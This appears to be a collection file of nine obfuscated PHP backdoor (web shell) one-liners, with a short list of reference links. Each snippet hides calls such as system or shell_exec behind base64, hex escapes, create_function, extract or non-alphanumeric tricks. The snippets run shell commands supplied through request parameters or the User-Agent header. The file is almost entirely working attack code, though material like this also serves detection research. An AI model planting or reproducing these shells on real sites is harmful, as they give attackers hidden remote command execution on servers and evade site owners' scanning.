backdoors-PHP.txt

BACKDOORS PHP

# MODEL-01 CODE BASE64 + FUNCTION DEFINE >>
<?php (error_reporting(0).($__=@base64_decode("c3lzdGVt")).$__(base64_decode("aWQ=")).define("_","dW5hbWUgLWE7bHM7").$__(base64_decode(_)).exit);?>
 

# MODEL-02 CODE BASE64 + VALIDATION REQUEST>>
<?php (($__=@base64_decode("c3lzdGVt")).print($__(isset($_REQUEST[0])?$_REQUEST[0]:NULL)).exit);?>
 

# MODEL-03 CODE Execution Operators >>
<?php print(`{$_REQUEST[0]}`).exit;?>
 

# MODEL-04 CODE BASE64 + FUNCTION CREATE_FUNCTION >>
<?php ($_=$_REQUEST[0]).($__=@create_function('$_',base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"))).($__($_).exit);?>
 

# MODEL-05 CODE GET >>
<?php  (error_reporting(0).($_=@$_GET[1]).($_($_GET[2])).exit);?>


# MODEL-06 CODE FUNCTION EXTRACT >>
<?php (extract($_REQUEST, EXTR_PREFIX_ALL)).($_=@get_defined_vars()['_REQUEST']).(define('_',rawurlencode($_[2]))).(($_[1](rawurldecode(_)))).exit;?>


# MODEL-07 CODE GET VIA NO ALPHA NUMERICO >>
<?php
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );
?>


# MODEL-08 CODE BASE64 + USER-AGENT >>
<?php ($_=@explode(',',$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')])).($_[0]("{$_[1]}")).exit;?>

# MODEL-09 CODE PARAMETROS VIA GET HEXADECIMAL >>
<?php
(error_reporting(0)).($_[0][]=@$_GET["\x30"]);
($_[1][] = "\x73").($_[1][] = "\x79");
($_[1][] = "\x73").($_[1][] = "\x74");
($_[1][] = "\x65").($_[1][] = "\x6D");
 foreach ($_[1] as $__){ $___.=$__; }
(($___("{$_[0][0]}")).exit);
?>



# REF:
# http://php.net/manual/en/language.operators.execution.php#language.operators.execution
# https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell
# http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf
# http://php.net/manual/pt_BR/function.create-function.php
# https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
# http://web.archive.org/web/20120427221212/http://h.ackack.net/tiny-php-shell.html
# http://php.net/manual/pt_BR/function.extract.php
# http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
# https://www.akamai.com/cn/zh/multimedia/documents/report/akamai-security-advisory-web-shells-backdoor-trojans-and-rats.pdf
# https://aw-snap.info/articles/backdoor-examples.php
# http://php.net/manual/pt_BR/reserved.variables.server.php